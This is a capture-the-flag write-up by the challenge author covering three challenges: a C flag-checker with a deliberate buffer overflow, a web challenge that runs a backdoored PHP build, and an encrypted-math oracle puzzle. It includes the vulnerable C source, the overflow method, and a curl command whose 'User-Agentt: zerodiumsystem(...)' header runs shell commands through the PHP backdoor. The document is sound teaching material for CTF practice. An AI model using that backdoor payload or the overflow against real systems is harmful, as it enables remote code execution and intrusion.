We will cover the remaining challenges I wrote in this part: Flag Checker™, The Wilderness and Potion of Ciphermath.

幫緊你!幫緊你! / Flag Checker™ (Pwn)

Challenge Summary

幫緊你 幫緊你
當無力 堅持集氣幫你
等風向轉天氣
請相信你不死
組隊會撐得起
You will be Ok
You will be Ok

We are here to help validating your flag! Come use our Flag Checker™!

nc HOST PORT

Attachments: service.c, service

When connected to the server, we are asked the name. We are also given 256 attempts to guess the flag. In the each attempt, we are asked to guess the flag (flag) and the MD5 digest of attempt[k]_[guessed_flag] will be stored to ctx.attempts[k].

After the users has sent their guesses, the server will compute the MD5 digests of attempt00_[flag], attempt01_[flag], ..., attemptff_[flag] and check the number of hashes are matched. The flag will be printed if there are over 128 matches. Otherwise, a random digest will be returned.

Well, I know no one could play pwnable without either the binary or the source code. There you go (it is provided to the players along with the binary, too):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <openssl/md5.h>

typedef struct Context Context;

struct Context {
    char flag[64];
    char hashed_flag[256][16];
    char attempts[256][16];
    char name[48];
    FILE *urandom;
};

void print_flag(int score, Context *ctx) {
    if (score >= 128) {
        printf("Congratulations, your guess is correct!\n");
        printf("Please take this shiny flag: %s\n", ctx->flag);
    } else {
        int random_leak;
        fread(&random_leak, 1, 1, ctx->urandom);
        random_leak &= 0xff;
        printf("No. You scored only %d. Try harder!\n", score);
        printf("I can even tell you one of the hash values: ");
        for (int j = 0; j < 16; j++) printf("%02x", (unsigned char)ctx->hashed_flag[random_leak][j]);
        printf("\n");
    }
}

int init (Context *ctx) {
    FILE *fd_flag = fopen("flag.txt", "r");
    if (fd_flag == NULL) return 1;
    if (fread(ctx->flag, 1, 47, fd_flag) != 47) return 1;

    FILE *fd_urandom = fopen("/dev/urandom", "r");
    if (fd_urandom == NULL) return 2;
    ctx->urandom = fd_urandom;

    return 0;
}

void read_line (char *ptr, int length) {
    int real_length = read(0, ptr, length);
    if (ptr[real_length-1] == '\n') {
        ptr[real_length-1] = 0;
    }
}

void sig_handler () {
    printf("Too slow!\n");
    exit(1);
}

int main() {
    int correct_guesses = 0;
    char tmp[4096];

    Context ctx;
    MD5_CTX md5_ctx;

    switch (init(&ctx)) {
        default: break;
        case 1:
            printf("Cannot read flag.txt\n");
            return -1;
        case 2:
            printf("Cannot read /dev/urandom\n");
            return -1;
    }

    printf("Hello! What is your name? ");
    fflush(stdout);
    read_line(ctx.name, 32);

    printf("Hey %s. So you are now given 256 tries to guess the flag. I will tell you if have at least 128 correct guesses.\n", ctx.name);

    for (int i = 0; i < 256; i++) {
        // ctx.attempts[i] := md5(prefix + input)
        printf("> ");
        fflush(stdout);
        sprintf(tmp, "attempt%02x_", i);
        read_line(tmp+10, 256);
        MD5_Init(&md5_ctx);
        MD5_Update(&md5_ctx, tmp, strlen(tmp));
        MD5_Final(ctx.attempts[i], &md5_ctx);
    }
    
    signal(SIGALRM, sig_handler);
    alarm(1);

    for (int i = 0; i < 256; i++) {
        sprintf(tmp, "attempt%02x_", i);
        strcpy(tmp+10, ctx.flag);
        MD5_Init(&md5_ctx);
        MD5_Update(&md5_ctx, tmp, strlen(tmp));
        MD5_Final(ctx.hashed_flag[i], &md5_ctx);

        strcpy(tmp, ctx.attempts[i]);

        tmp[16] = ctx.hashed_flag[i][16] = 0;
        if (!strcmp(tmp, ctx.hashed_flag[i])) {
            correct_guesses += 1;
        }

        if (correct_guesses >= 128) break;
    }

    print_flag(correct_guesses, &ctx);

    return 0;
}

// gcc -o service service.c -fno-stack-protector -lcrypto

Motivation

😱 Mystiz even writes a pwn challenge????? I know, I know. This is strange.

It was a challenge that I intentionally made for Black Bauhinia's internal Attack and Defense. Unfortunately an A&D is very hard to make with only one person and I decided to release it in a jeopardy CTF.

The main point is that I was trying to develop everything on my own. That said, I have to write challenges - and of course a pwnable one. Luckily I was not trying to make an advanced one, or I would need to learn House of [put an arbitrary word here] which probably makes me braindead.

The original version includes far more vulnerabilities because it is expected to be patched during the game.

  1. There are less binary protections (PIE is disabled).
  2. attempt00_[flag], attempt01_[flag[1:]], ..., attempt1f_[flag[31:]] and so on are hashed.
  3. The flag was only 32 characters long.
36c36
<     if (fread(ctx->flag, 1, 32, fd_flag) != 32) return 1;
---
>     if (fread(ctx->flag, 1, 47, fd_flag) != 47) return 1;
95,96d94
<         // ctx.hashed_flag[i] := md5(PREFIX + ctx.flag[(i%32):])
<         int j = i % 32;
98c96
<         strcpy(tmp+10, ctx.flag + j);
---
>         strcpy(tmp+10, ctx.flag);
118c116
< // gcc -o service service.c -no-pie -fno-stack-protector -lcrypto
---
> // gcc -o service service.c -fno-stack-protector -lcrypto

With (2) and (3), we can get hashes of attempt1f_X, attempt3f_X, ... at a chance of $1/32$ upon failing. Since only one byte of the flag is hashed, it could be easily exhaustable. By collecting enough hashes we could recover the flag. Therefore, there are ways to solve the challenge without pwnable skills.

Solution

Let's excerpt the source code to show where the weakness is:

struct Context {
    char flag[64];
    char hashed_flag[256][16];
    char attempts[256][16]; // 👈 (1)
    char name[48];
    FILE *urandom;
};


int main() {
    // ...

    for (int i = 0; i < 256; i++) {
        printf("> ");
        fflush(stdout);
        sprintf(tmp, "attempt%02x_", i);
        read_line(tmp+10, 256);
        MD5_Init(&md5_ctx);
        MD5_Update(&md5_ctx, tmp, strlen(tmp));
        MD5_Final(ctx.attempts[i], &md5_ctx); // 👈 (2)
    }
    
    // ...

    for (int i = 0; i < 256; i++) {
        // ...
        strcpy(tmp, ctx.attempts[i]); // 👈 (3)
        // ...
        tmp[16] = ctx.hashed_flag[i][16] = 0;
        if (!strcmp(tmp, ctx.hashed_flag[i])) {
            correct_guesses += 1;
        }
        if (correct_guesses >= 128) break;
    }

    // ...
}

The root of the problem comes from the sizes of ctx.attempts[i]. Each of them is 16 bytes, which is exactly the size of a MD5 digest.

Suppose that each MD5 digest of attempt[k]_[guessed_flag] consists of no null bytes. ctx.attempts is allocated 4096 bytes, and it consists of no null bytes after 256 rounds of (2) is performed. When the first time (3) is executed, tmp is entirely overwritten by ctx.attempts. Alas, the subsequent memory will be overwritten by ctx.name, too. With IDA, we can see that correct_guesses is 12 bytes after the end of tmp, this is snippeted from the decompiled main function of the binary:

int __cdecl main(int argc, const char **argv, const char **envp) {
    // ...
    Context ctx; // [rsp-90h] [rbp-3098h]
    char tmp[4096]; // [rsp+1FF0h] [rbp-1018h]
    int i2; // [rsp+2FF4h] [rbp-14h] // 👈 The `i` used in the "check" loop
    int i1; // [rsp+2FF8h] [rbp-10h] // 👈 The `i` used in the "attempt" loop
    int correct_guesses; // [rsp+2FFCh] [rbp-Ch]
    // ...
}

From above, name[12:16] overwrites correct_guesses. We can simply change that to a number higher than 128. Note that name[4:8] overwrites i2, which is the i for ctx.hashed_flag[i][16] = 0. That said i should be reasonable (for example, -1) so that the program would not crash after running this line. I used 13 FF's as the name and that gains me the flag.

荊棘海 / The Wilderness (Web)

Challenge Summary

就在回望一刻總有哀
世界已不再
誰偏偏一再
等待 到終於不記得等待

Mystiz likes PHP most. He has been programming in PHP at the time PHP 5 was released. Time flies and here comes PHP 8. He decided to craft a Docker image as a sandbox... What can go wrong?

http://HOST:PORT/

Attachments: Dockerfile, index.php

We are given a PHP file called index.php and a Dockerfile. The below code are their contents, and the goal is to read the flag in the comment of index.php.

<h1>It Works!</h1>
<?php // hkcert21{***REDACTED***} ?>
ARG DEBIAN_FRONTEND=noninteractive

RUN apt update && apt install -y pkg-config build-essential autoconf bison re2c libxml2-dev libsqlite3-dev wget unzip zlib1g-dev

RUN cd /tmp && wget https://github.com/php/php-src/archive/c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && unzip c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && cd php-src-* && ./buildconf && ./configure --with-zlib && make -j4

RUN mv /tmp/php-src-c730aa26bd52829a49f2ad284b181b7e82a68d7d/sapi/cli/php /bin

RUN rm -rf /tmp/*

RUN mkdir /var/www/html -p

COPY index.php /var/www/html

USER www-data

WORKDIR /var/www/html

CMD ["php", "-S", "0.0.0.0:80", "-t", "/var/www/html"]

Solution

The PHP code is so simple that it is trivially not vulnerable. The weakness comes from Dockerfile, where a backdoored PHP version is used. When we search the commit hash c730aa26bd52829a49f2ad284b181b7e82a68d7d, we can easily find pages mentioning the incident. Black Bauhinia have even shared the news on their Facebook page. Well, they made a mistake: The header should be User-Agentt (instead of User-Agent).

Are you self-promoting? Yes! This is yet another shameless self-promotion of our Facebook page. Go like and share.

One can easily get the flag with a little bit of Googling.

curl http://HOST:28364/ \
    -H "User-Agentt: zerodiumsystem('cat index.php');"   
&lt;h1&gt;It Works!&lt;/h1&gt;
&lt;?php // hkcert21{vu1n3r1b1li7ie5_m1gh7_c0m3_fr0m_7h3_5upp1y_ch41n} ?&gt;
&lt;h1&gt;It Works!&lt;/h1&gt;

Making Of

Although PHP was the first programming language I ever learned, I never understand how the PHP environment is set up. I was relying on softwares like WampServer. This time I crafted the Docker environment entirely by myself, learning the process of building the PHP environment from source code.

This is the first edition of the Dockerfile I made. I can serve PHP pages, but it is not vulnerable to the backdoor.

FROM ubuntu:focal-20210827

ARG DEBIAN_FRONTEND=noninteractive

RUN apt update

RUN apt install -y pkg-config build-essential autoconf bison re2c libxml2-dev libsqlite3-dev wget unzip

RUN cd /tmp && wget https://github.com/php/php-src/archive/c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && unzip c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && cd php-src-* && ./buildconf && ./configure && make -j4

WORKDIR /var/www/html

CMD ["/tmp/php-src-c730aa26bd52829a49f2ad284b181b7e82a68d7d/sapi/cli/php", "-S", "0.0.0.0:80", "-t", "/var/www/html"]

I referred to Docker image of vulhub to see what I was missing. After all, I just need to use the zlib module where the vulnerability is introduced, according to zlib.c. It took me hours for debugging to introduce the bug. 🤷

FROM ubuntu:focal-20210827

ARG DEBIAN_FRONTEND=noninteractive

RUN apt update

RUN apt install -y pkg-config build-essential autoconf bison re2c libxml2-dev libsqlite3-dev wget unzip zlib1g-dev

RUN cd /tmp && wget https://github.com/php/php-src/archive/c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && unzip c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && cd php-src-* && ./buildconf && ./configure --with-zlib && make -j4

WORKDIR /var/www/html

CMD ["/tmp/php-src-c730aa26bd52829a49f2ad284b181b7e82a68d7d/sapi/cli/php", "-S", "0.0.0.0:80", "-t", "/var/www/html"]

Also, we of course are not exposing the root permission. Gotta fix that or players are will be nuking the challenge server. This is the final Dockerfile we have for now.

FROM ubuntu:focal-20210827

ARG DEBIAN_FRONTEND=noninteractive

RUN apt update && apt install -y pkg-config build-essential autoconf bison re2c libxml2-dev libsqlite3-dev wget unzip zlib1g-dev

RUN cd /tmp && wget https://github.com/php/php-src/archive/c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && unzip c730aa26bd52829a49f2ad284b181b7e82a68d7d.zip \
            && cd php-src-* && ./buildconf && ./configure --with-zlib && make -j4

RUN mv /tmp/php-src-c730aa26bd52829a49f2ad284b181b7e82a68d7d/sapi/cli/php /bin

RUN rm -rf /tmp/*

USER www-data

WORKDIR /var/www/html

CMD ["php", "-S", "0.0.0.0:80", "-t", "/var/www/html"]

神奇的糊塗魔藥 / Potion of Ciphermath (Misc)

Challenge Summary

無視道與理 是與非非 盼待往天飛 卻要撞地
在忙亂之中找到勇氣 一片塵埃中起飛

Let's speak in math! Of course we can make it harder by encrypting the numbers, too.

nc HOST PORT

Attachments: chall.py

When connected to the server, a 512-bit prime $p$ and a secret $x \in [0, p)$ is generated. Denote $\text{Enc}$ be an encryption function that encrypts a number $n \in [0, 2^{512})$ into a 64-byte ciphertext. We can call the below oracles in a total of 4096 times:

  1. [Get Secret] Return $\text{Enc}(x \oplus p)$.
  2. [Multiplication] Given $\text{Enc}(a)$ and $\text{Enc}(b)$, return $\text{Enc}(a\cdot b\ \text{mod}\ p)$.
  3. [Power] Given $\text{Enc}(a)$ and $\text{Enc}(b)$, return $\text{Enc}(a^b\ \text{mod}\ p)$.
  4. [Bitwise And] Given $\text{Enc}(a)$ and $\text{Enc}(b)$, return $\text{Enc}(a \land b\ \text{mod}\ p)$.
  5. [Bitwise Or] Given $\text{Enc}(a)$ and $\text{Enc}(b)$, return $\text{Enc}(a\lor b\ \text{mod}\ p)$.
  6. [Attempt] Given $x_0$, returns the flag if $x = x_0$ (i.e., the secret is correct).

The encryption function, $\text{Enc}$, is defined below. User shall pass a 88-character long (the length is checked) string, $\text{Enc}(a)$, and the string will be decoded in base64 before passing to NumberEncryptor.

class NumberEncryptor:
    def __init__(self, bits):
        self.key = os.urandom(16)
        self.bits = bits

    def encrypt(self, number):
        key = self.key
        c = int.to_bytes(number, self.bits//8, 'big')
        cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
        c = cipher.encrypt(c)
        c = c[::-1]
        cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
        c = cipher.encrypt(c)
        return c

    def decrypt(self, c):
        key = self.key
        cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
        c = cipher.decrypt(c)
        c = c[::-1]
        cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
        c = cipher.decrypt(c)
        return int.from_bytes(c, 'big')

Motivation

Inspired by nooombers in DEFCON CTF 2021 Quals but the source code is given.

Solution

Constructing $\text{Enc}(0)$ and $\text{Enc}(1)$

The below algorithm, $\mathcal{A}_0$, is one way to construct $\text{Enc}(0$):

  1. Generate 64 bytes randomly and denote it by $x$.
  2. Generate 64 bytes randomly and denote it by $r$. Call the bitwise and oracle and update $x \leftarrow \text{Enc}(z \land r_k\ \text{mod}\ p)$.
  3. Repeat step 2 until $x$ is not changing anymore. In that case, it is likely that $x = \text{Enc}(0)$.

There is a better way. Let's introduce a major weakness.

Weakness. The server only checks if the base64-encoded $\text{Enc}(a)$ has a length of 88. The characters outside the base64 charset will be dropped. With that said, we can send ciphertexts those are shorter than 64.

To utilize the weakness, we can pass 88 ~'s and it would decode into b''. Also, number_encryptor.decrypt(b'') == 0. That said, we can construct $\text{Enc}(0)$ without using the oracle. This is a dirty zero because it is not the $\text{Enc}(0)$ created by the oracle, which is needed in later parts of the game. Well, we can simply obtain $\text{Enc}(0)$ using AND [88 ~'s] [88 ~'s]. It is then evident to construct $\text{Enc}(1)$: POW [ZERO] [ZERO]. Now we can construct both in two oracle calls.

Confession of an ex-math guy. I know $0^0$ is mathematically undefined. However they said $0^0 = 1$ in Python… Let’s stick to that.

Constructing $\text{Enc}(2)$

A sidenote. I can only construct $\text{Enc}(4)$ while I was testing the challenge. I shared the problem to harrier and he could construct two probabilistically. Good that I don’t need to make it easier to accommodate my level.

@harrier_lcc suggested a way to craft $\text{Enc}(2)$. The idea is similar to the algorithm $\mathcal{A}_0$ specified below. Let's call it $\mathcal{A}_1$:

  1. Generate 64 bytes randomly and denote it by $x$.
  2. Generate 64 bytes randomly and denote it by $r$. Compute $u \leftarrow \text{Enc}(z \land r_k\ \text{mod}\ p)$ (via AND). If $u \neq \text{Enc}(0)$, we set $x \leftarrow u$.
  3. Repeat step 2 until $x$ is not changing anymore. In that case, it is likely that $x = \text{Enc}(2^k)$ for some $k = 0, 1, ..., 511$ (i.e., $z$ has one set bit).

This is clever. The bitwise and oracle can be used to find sequence of decreasing Hamming distance. However, even if $x = \text{Enc}(2^k)$, the probability for $x = \text{Enc}(2)$ is only $1/512$. How could we improve the algorithm? We can make use of the weakness - we can send a 88-character long string that decodes into 16 bytes after base64 decoding. Here comes the improved $\mathcal{A}_1$, denoted by $\mathcal{A}_1^+$:

  1. Generate 16 bytes randomly and denote it by $x$.
  2. Generate 16 bytes randomly and denote it by $r$. Compute $u \leftarrow \text{Enc}(z \land r_k\ \text{mod}\ p)$ (via AND). If $u \neq \text{Enc}(0)$, we set $x \leftarrow u$.
  3. Repeat step 2 until $x$ is not changing anymore. In that case, it is likely that $x = \text{Enc}(2^k)$ for some $k = 0, 1, ..., 127$.

Now the probability is increased to $1/128$. We can run the algorithm multiple times to get $x = \text{Enc}(2)$... But wait, how do we confirm that $x = \text{Enc}(2)$? Good that I was able to make $\text{Enc}(4)$. After all, we can check by using MUL [TWO?] [TWO?].

We need to construct $\text{Enc}(2^{128}-2)$ for $\text{Enc}(4)$. We can adopt a similar algorithm in $\mathcal{A}_1^+$, let's call it $\mathcal{A}_2$:

  1. Generate 16 bytes randomly and denote it by $x$.
  2. Generate 16 bytes randomly and denote it by $r$. Compute $u \leftarrow \text{Enc}(z \lor r_k\ \text{mod}\ p)$ (via OR). If $\text{Enc}(u \land 1) = \text{Enc}(0)$, then we set $x \leftarrow u$.
  3. Repeat step 2 until $x$ is not changing anymore. In that case, it is likely that $x = \text{Enc}(2^{128}-2)$.

With that, we can construct $\text{Enc}(4)$ by:

  1. MUL [2^128-2] [2^128-2] (returns $\text{Enc}(2^{256} - 2^{129} + 4)$)
  2. AND [2^256-2^129+4] [2^128-2] (returns $\text{Enc}(4)$)
Congratulations! 🎉 You have survived the hardest part of the challenge. The remaining parts would be straight forward.

Recovering $p$

From $\text{Enc}(1)$ and $\text{Enc}(2)$, we are able to construct $\text{Enc}(2^2)$, $\text{Enc}(2^3)$, ... $\text{Enc}(2^{511})$ by MUL. We can use the below algorithm $\mathcal{A}_3$ to recover $p$ (not $\text{Enc}(p)$):

  1. Initiate $p \leftarrow 1$ and $x \leftarrow \text{Enc}(0)$.
  2. For $i = 511, 510, ..., 1$, do the following:
    • Compute $x' \leftarrow \text{Enc}(x \lor 2^i\ \text{mod}\ p)$ (via OR). Denote $u := x \lor 2^i\ \text{mod}\ p$.
    • If $\text{Enc}(u \land 1\ \text{mod}\ p) = \text{Enc}(0)$, then set $x \leftarrow x'$ and update $p \leftarrow p + 2^i$.
Why does the algorithm work? It is based on the below theorem: Suppose that $p$ is a 512-bit prime and $n \in [0, 2^{512})$ is even. Then $n\ \text{mod}\ p$ is odd if and only if $n \leq p$.

Recovering $x \oplus p$

This part is easy. We can recover $x \oplus p$ by running the below algorithm, $\mathcal{A}_4$:

  1. Initiate $s \leftarrow 0$.
  2. For $i = 0, 1, ..., 511$, do the following:
    • Compute $x' \leftarrow \text{Enc}(x \land 2^i\ \text{mod}\ p)$ (via AND).
    • If $x' \neq \text{Enc}(0)$, then set $s \leftarrow s + 2^i$.

From here, we can compute the secret $x$ from $x \oplus p$ and $p$. Finally we can get the flag using ATTEMPT.